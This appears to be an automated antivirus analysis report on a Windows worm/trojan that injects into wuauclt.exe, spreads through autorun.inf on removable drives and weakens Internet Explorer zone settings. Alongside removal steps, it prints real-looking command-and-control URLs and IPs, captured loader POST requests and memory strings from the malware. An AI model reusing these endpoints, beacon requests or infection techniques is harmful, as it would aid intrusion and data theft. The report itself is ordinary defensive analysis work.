Gen.Variant.Kazy.299377_a477155001

Dynamic Analysis

Payload

Behaviour	Description
WormAutorun	A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Trojan's file once a user opens a drive's folder in Windows Explorer.

Process activity

The Trojan creates the following process(es):

%original file name%.exe:1932
%original file name%.exe:57364

The Trojan injects its code into the following process(es):

wuauclt.exe:57396

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process %original file name%.exe:57364 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\01.tmp (1281 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\_install_\msiexec.exe (82 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\01.tmp (0 bytes)

Registry activity

The process %original file name%.exe:1932 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "4E 6B EB CD 59 FA A1 0E EE F4 E3 C6 BE 6E A0 78"

The process %original file name%.exe:57364 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "EE 3B 4E 53 B7 15 34 CD C3 3A 1F 1C C8 57 19 FA"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software]
"ImageBase" = "7A 69 3F CF B0 CF CF CF B3 CF CF CF CC CC CF CF"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\_install_]
"msiexec.exe" = "msiexec"

[HKLM\SOFTWARE\Microsoft]
"0000000B" = "50 4B 03 04 00 EA 00 00 30 71 00 00 BC FC C2 2B"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

Dropped PE files

MD5	File path
7ed265b1caa48a7eeb2246bb365778d8	c:\Documents and Settings\All Users\Local Settings\Temp\ccakkk.exe
7ed265b1caa48a7eeb2246bb365778d8	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\_install_\msiexec.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Trojan's file once a user opens a drive's folder in Windows Explorer.

Removals

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):

   %original file name%.exe:1932
   %original file name%.exe:57364
   

2. Delete the original Trojan file.
   
3. Delete or disinfect the following files created/modified by the Trojan:

   %Documents and Settings%\%current user%\Local Settings\Temp\01.tmp (1281 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\_install_\msiexec.exe (82 bytes)

4. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
5. Find and delete all copies of the worm's file together with "autorun.inf" scripts on removable drives.
   
6. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name: Hause
Product Name: Drenzag
Product Version: 5, 1, 8, 4
Legal Copyright: Copyright Radume(c) 2013
Legal Trademarks: Gioka(c)
Original Filename: Koda
Internal Name: Zdravka
File Version: 2, 1, 3, 2
File Description: Darko
Comments: Preshin
Language: Language Neutral

Company Name: HauseProduct Name: DrenzagProduct Version: 5, 1, 8, 4Legal Copyright: Copyright Radume(c) 2013Legal Trademarks: Gioka(c)Original Filename: KodaInternal Name: ZdravkaFile Version: 2, 1, 3, 2File Description: DarkoComments: PreshinLanguage: Language Neutral

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
UPX0	4096	1495040	0	0	d41d8cd98f00b204e9800998ecf8427e
UPX1	1499136	188416	188416	5.34055	31a279faf70559e66e2d1cff233a7c31
.rsrc	1687552	53248	24576	2.46835	8c3433b46dd3b8e3083c36886b35692f

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 3
e4f4ae24234743e3cf9b8483a06ad2bd
f58e3f420ef28e25336995d7b69eb34d
160fcf3a2f1b145e000a7737e37213cd

Network Activity

URLs

URL	IP
hxxp://a.sobea.in/gvlbqgvlbqgvlbqgvlbjrhpynvemgsfj	50.116.32.177
hxxp://hzmksreiuojy.in/ldr.php	195.22.26.231
hxxp://hzmksreiuojy.biz/ldr.php	69.195.129.70
hxxp://hzmksreiuojy.ru/ldr.php	195.22.26.231
www.update.microsoft.com	134.170.51.189

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

POST /ldr.php HTTP/1.1

Host: hzmksreiuojy.ru

User-Agent: Mozilla/4.0

Content-Type: application/x-www-form-urlencoded

Content-Length: 84

Connection: close

upqchSE8slDLE Bgn4KGIwiLrX8zUN68T3yqvhQu2TqetQn3qIy7Q6bpTfDUtYIftZ33NB8PKwkg9mY3qw==

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 31 Jul 2014 03:51:01 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Set-Cookie: btst=2311f106aa58d1816026613de492aebc|193.138.244.231|1406778661|1406778661|0|1|0

Set-Cookie: snkz=193.138.244.231

0..

POST /ldr.php HTTP/1.1

Host: hzmksreiuojy.biz

User-Agent: Mozilla/4.0

Content-Type: application/x-www-form-urlencoded

Content-Length: 84

Connection: close

upqchSE8slDLE Bgn4KGIwiLrX8zUN68T3yqvhQu2TqetQn3qIy7Q6bpTfDUtYIftZ33NB8PKwkg9mY3qw==

HTTP/1.1 200 OK

Server: nginx/1.6.0

Date: Thu, 31 Jul 2014 03:50:56 GMT

Content-Type: text/plain; charset=utf-8

Content-Length: 0

Connection: close

POST /ldr.php HTTP/1.1

Host: hzmksreiuojy.in

User-Agent: Mozilla/4.0

Content-Type: application/x-www-form-urlencoded

Content-Length: 84

Connection: close

upqchSE8slDLE Bgn4KGIwiLrX8zUN68T3yqvhQu2TqetQn3qIy7Q6bpTfDUtYIftZ33NB8PKwkg9mY3qw==

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 31 Jul 2014 03:51:00 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Set-Cookie: btst=dbafee70d8c4630d9acfa947251a2b65|193.138.244.231|1406778660|1406778660|0|1|0

Set-Cookie: snkz=193.138.244.231

0..

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

wuauclt.exe_57396:

.text

.text

`.data

`.data

.rsrc

.rsrc

@.reloc

@.reloc

wuauclt.pdb

wuauclt.pdb

GetProcessHeap

GetProcessHeap

KERNEL32.dll

KERNEL32.dll

_wcmdln

_wcmdln

_amsg_exit

_amsg_exit

msvcrt.dll

msvcrt.dll

ntdll.dll

ntdll.dll

ole32.dll

ole32.dll

RegCloseKey

RegCloseKey

RegOpenKeyExW

RegOpenKeyExW

RegCreateKeyExW

RegCreateKeyExW

ADVAPI32.dll

ADVAPI32.dll

USER32.dll

USER32.dll

OLEAUT32.dll

OLEAUT32.dll

SHLWAPI.dll

SHLWAPI.dll

zcÁ

zcÁ

version="6.0.0.0"

version="6.0.0.0"

name="Microsoft.Windows.windowsupdate.wuauclt"

name="Microsoft.Windows.windowsupdate.wuauclt"

<windowsSettings></windowsSettings>

<windowsSettings></windowsSettings>

<dpiAware xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>

<dpiAware xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>

name="Microsoft.Windows.Common-Controls"

name="Microsoft.Windows.Common-Controls"

publicKeyToken="6595b64144ccf1df"

publicKeyToken="6595b64144ccf1df"

<requestedExecutionLevel><pre>wuaueng.dll</pre><pre>Error: 0xx. wuauclt handler: failed to spawn COM server</pre><pre>Error: 0xx. wuauclt handler: failed to load wuaueng</pre><pre>/ReportNow</pre><pre>/ShowWindowsUpdate</pre><pre>/CloseWindowsUpdate</pre><pre>wuauclt.exe failed to get proc address for UI export object with error %#lx</pre><pre>Failed to load %s with error %X</pre><pre>wucltui.dll</pre><pre>wucltux.dll</pre><pre>call RunAUClientUI on wucltui.dll/wucltux.dll</pre><pre>Ntdll.dll</pre><pre>WuSqm %ls session datapoint (id:%d) is incremented with dword %d.</pre><pre>wuauclt.exe is exiting with code 0xX</pre><pre>wuauclt.exe launched with command line %s</pre><pre>kernel32.dll</pre><pre>WUWeb</pre><pre>Report</pre><pre>7.6.7600.256</pre><pre>Global\WindowsUpdateTracingMutex</pre><pre>WindowsUpdate.log</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Trace</pre><pre>Windows</pre><pre>shell32.dll</pre><pre>%s: %s [</pre><pre>%s: %s</pre><pre>%s\%s</pre><pre>= Module: %s</pre><pre>= Module: <failed with %d></failed></pre><pre>= Process: %s</pre><pre>= Process: <failed with %d></failed></pre><pre>=========== Logging initialized (build: %s, tz: %s) ===========</pre><pre>wups2.dll</pre><pre>wups.dll</pre><pre>Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Setup\ServiceStartup\</pre><pre>%hs %ls page "%ls", hr=%X</pre><pre>Microsoft.WindowsUpdate</pre><pre>wupdmgr.exe</pre><pre>Failed to cocreate IShellWindows, error = 0xlX</pre><pre>Failed to obtain window doc for window %d, error = 0xlX</pre><pre>Failed to obtain folder view for window %d, error = 0xlX</pre><pre>Failed to obtain folder IPersist for window %d, error = 0xlX</pre><pre>Window %d is NOT a WU window</pre><pre>Done enumerating windows</pre><pre>Quit for window %d failed: 0xlX</pre><pre>Window %d is a WU window. Attempting to close</pre><pre>Failed to obtain class ID for window %d, error = 0xlX</pre><pre>Got NULL disp interface for window %d</pre><pre>Got %d instead of VT_DISPATCH for window %d</pre><pre>Failed to obtain IWebBrowserApp for window %d, error = 0xlX</pre><pre>Failed to enumerate window %d, error = 0xlX</pre><pre>Found %d explorer windows</pre><pre>Closing WU explorer windows</pre><pre>Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\VolatileData</pre><pre>WUAppNotificationWindows</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired\Mandatory</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\PostRebootReporting</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Services\Pending\</pre><pre>%chdhd</pre><pre>hd-hd-hd%chd:hd:hd:hd</pre><pre>Windows Update</pre><pre>7.6.7600.256 (winmain_wtr_wsus3sp2(oobla).120602-1459)</pre><pre>wuauclt.exe</pre><pre>Windows</pre><pre>Operating System</pre><b>wuauclt.exe_57396_rwx_000A0000_00009000:</b><pre>.code</pre><pre>.import</pre><pre>NtDelayExecution</pre><pre>ntdll.dll</pre><pre>GetWindowsDirectoryW</pre><pre>kernel32.dll</pre><pre>software\microsoft\windows nt\currentversion\windows</pre><pre>software\microsoft\windows\currentversion\Policies\Explorer\Run</pre><pre>ccX.dat</pre><pre>http://8.8.8.8/xxxxxxxxx.php</pre><pre>http://hzmksreiuojy.in/ldr.php</pre><pre>http://hzmksreiuojy.ru/ldr.php</pre><pre>http://hzmksreiuojy.com/ldr.php</pre><pre>http://hzmksreiuojy.biz/ldr.php</pre><pre>http://hzmksreiuojy.nl/ldr.php</pre><pre>POST /%s HTTP/1.1</pre><pre>Host: %s</pre><pre>User-Agent: Mozilla/4.0</pre><pre>Content-Type: application/x-www-form-urlencoded</pre><pre>Content-Length: %d</pre><pre>GET /%s HTTP/1.0</pre><pre>www.update.microsoft.com</pre><pre>GetProcessHeap</pre><pre>ws2_32.dll</pre><pre>RegCloseKey</pre><pre>RegCreateKeyExA</pre><pre>RegOpenKeyExA</pre><pre>RegSetKeySecurity</pre><pre>advapi32.dll</pre><pre>user32.dll</pre><pre>dnsapi.dll</pre><pre>KERNEL32.DLL</pre><pre>\system32\wuauclt.exe</pre><pre>\syswow64\svchost.exe</pre><pre>4%userprofile%</pre><pre>%s\cc%s.%s</pre><pre>)X</pre><pre>x.exe</pre><b>wuauclt.exe_57396_rwx_003B0000_00005000:</b><pre>software\microsoft\windows nt\currentversion\windows</pre><pre>software\microsoft\windows\currentversion\Policies\Explorer\Run</pre><pre>ccX.dat</pre><pre>http://8.8.8.8/xxxxxxxxx.php</pre><pre>http://hzmksreiuojy.in/ldr.php</pre><pre>http://hzmksreiuojy.ru/ldr.php</pre><pre>http://hzmksreiuojy.com/ldr.php</pre><pre>http://hzmksreiuojy.biz/ldr.php</pre><pre>http://hzmksreiuojy.nl/ldr.php</pre><pre>POST /%s HTTP/1.1</pre><pre>Host: %s</pre><pre>User-Agent: Mozilla/4.0</pre><pre>Content-Type: application/x-www-form-urlencoded</pre><pre>Content-Length: %d</pre><pre>GET /%s HTTP/1.0</pre><pre>www.update.microsoft.com</pre><pre>NtDelayExecution</pre><pre>ntdll.dll</pre><pre>GetProcessHeap</pre><pre>kernel32.dll</pre><pre>ws2_32.dll</pre><pre>RegCloseKey</pre><pre>RegCreateKeyExA</pre><pre>RegOpenKeyExA</pre><pre>RegSetKeySecurity</pre><pre>advapi32.dll</pre><pre>user32.dll</pre><pre>dnsapi.dll</pre><pre>4%userprofile%</pre><pre>%s\cc%s.%s</pre><pre>)X</pre><pre>x.exe</pre><b>wuauclt.exe_57396_rwx_00400000_0000E000:</b><pre>.text</pre><pre>`.data</pre><pre>.rsrc</pre><pre>@.reloc</pre><pre>wuauclt.pdb</pre><pre>GetProcessHeap</pre><pre>KERNEL32.dll</pre><pre>_wcmdln</pre><pre>_amsg_exit</pre><pre>msvcrt.dll</pre><pre>ntdll.dll</pre><pre>ole32.dll</pre><pre>RegCloseKey</pre><pre>RegOpenKeyExW</pre><pre>RegCreateKeyExW</pre><pre>ADVAPI32.dll</pre><pre>USER32.dll</pre><pre>OLEAUT32.dll</pre><pre>SHLWAPI.dll</pre><pre>zcÁ</pre><pre>version="6.0.0.0"</pre><pre>name="Microsoft.Windows.windowsupdate.wuauclt"</pre><pre><windowsSettings></windowsSettings></pre><pre><dpiAware xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware></pre><pre></pre><pre>name="Microsoft.Windows.Common-Controls"</pre><pre>publicKeyToken="6595b64144ccf1df"</pre><pre><requestedExecutionLevel><pre>wuaueng.dll</pre><pre>Error: 0xx. wuauclt handler: failed to spawn COM server</pre><pre>Error: 0xx. wuauclt handler: failed to load wuaueng</pre><pre>/ReportNow</pre><pre>/ShowWindowsUpdate</pre><pre>/CloseWindowsUpdate</pre><pre>wuauclt.exe failed to get proc address for UI export object with error %#lx</pre><pre>Failed to load %s with error %X</pre><pre>wucltui.dll</pre><pre>wucltux.dll</pre><pre>call RunAUClientUI on wucltui.dll/wucltux.dll</pre><pre>Ntdll.dll</pre><pre>WuSqm %ls session datapoint (id:%d) is incremented with dword %d.</pre><pre>wuauclt.exe is exiting with code 0xX</pre><pre>wuauclt.exe launched with command line %s</pre><pre>kernel32.dll</pre><pre>WUWeb</pre><pre>Report</pre><pre>7.6.7600.256</pre><pre>Global\WindowsUpdateTracingMutex</pre><pre>WindowsUpdate.log</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Trace</pre><pre>Windows</pre><pre>shell32.dll</pre><pre>%s: %s [</pre><pre>%s: %s</pre><pre>%s\%s</pre><pre>= Module: %s</pre><pre>= Module: <failed with %d></failed></pre><pre>= Process: %s</pre><pre>= Process: <failed with %d></failed></pre><pre>=========== Logging initialized (build: %s, tz: %s) ===========</pre><pre>wups2.dll</pre><pre>wups.dll</pre><pre>Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Setup\ServiceStartup\</pre><pre>%hs %ls page "%ls", hr=%X</pre><pre>Microsoft.WindowsUpdate</pre><pre>wupdmgr.exe</pre><pre>Failed to cocreate IShellWindows, error = 0xlX</pre><pre>Failed to obtain window doc for window %d, error = 0xlX</pre><pre>Failed to obtain folder view for window %d, error = 0xlX</pre><pre>Failed to obtain folder IPersist for window %d, error = 0xlX</pre><pre>Window %d is NOT a WU window</pre><pre>Done enumerating windows</pre><pre>Quit for window %d failed: 0xlX</pre><pre>Window %d is a WU window. Attempting to close</pre><pre>Failed to obtain class ID for window %d, error = 0xlX</pre><pre>Got NULL disp interface for window %d</pre><pre>Got %d instead of VT_DISPATCH for window %d</pre><pre>Failed to obtain IWebBrowserApp for window %d, error = 0xlX</pre><pre>Failed to enumerate window %d, error = 0xlX</pre><pre>Found %d explorer windows</pre><pre>Closing WU explorer windows</pre><pre>Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\VolatileData</pre><pre>WUAppNotificationWindows</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired\Mandatory</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\PostRebootReporting</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Services\Pending\</pre><pre>%chdhd</pre><pre>hd-hd-hd%chd:hd:hd:hd</pre><pre>Windows Update</pre><pre>7.6.7600.256 (winmain_wtr_wsus3sp2(oobla).120602-1459)</pre><pre>wuauclt.exe</pre><pre>Windows</pre><pre>Operating System</pre><b>wuauclt.exe_57396_rwx_00900000_00013000:</b><pre>.text</pre><pre>`.rdata</pre><pre>@.data</pre><pre>.rsrc</pre><pre>@.reloc</pre><pre>GetProcessWindowStation</pre><pre>T:\ldr\CUSTOM\local\Worm65.DLL.PnP\Release\Worm65.DLL.pdb</pre><pre>URLDownloadToFileW</pre><pre>urlmon.dll</pre><pre>KERNEL32.dll</pre><pre>keybd_event</pre><pre>USER32.dll</pre><pre>RegOpenKeyExW</pre><pre>RegCloseKey</pre><pre>ADVAPI32.dll</pre><pre>ole32.dll</pre><pre>GetCPInfo</pre><pre>Worm65.DLL.dll</pre><pre>[.ShellClassInfo]</pre><pre>IconResource=%systemroot%\system32\SHELL32.dll,7</pre><pre>IconFile=%SystemRoot%\system32\SHELL32.dll</pre><pre>%System%\wuauclt.exe</pre><pre><requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel></pre><pre>nKERNEL32.DLL</pre><pre>mscoree.dll</pre><pre>- Attempt to initialize the CRT more than once.</pre><pre>- CRT not initialized</pre><pre>- floating point support not loaded</pre><pre>WUSER32.DLL</pre><pre>http://a.sobea.in/</pre><pre>http://b.sobea.in/</pre><pre>http://c.sobea.in/</pre><pre>Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced</pre><pre>%s\%s</pre><pre>%s.exe</pre><pre>Thumbs.db</pre><pre>desktop.ini</pre><pre>autorun.inf</pre><pre>Wkernel32.dll</pre><pre>%s\desktop.ini</pre><pre>%s\_W%s.init</pre><pre>%s\Thumbs.db</pre><pre>_W%s.init,krnl %s %s</pre><pre>%s\Removable Disk (%dGB).lnk</pre><pre>shell32.dll</pre><pre>%s\%s (%dGB).lnk</pre><pre>%sautorun.inf</pre></requestedExecutionLevel></pre></requestedExecutionLevel>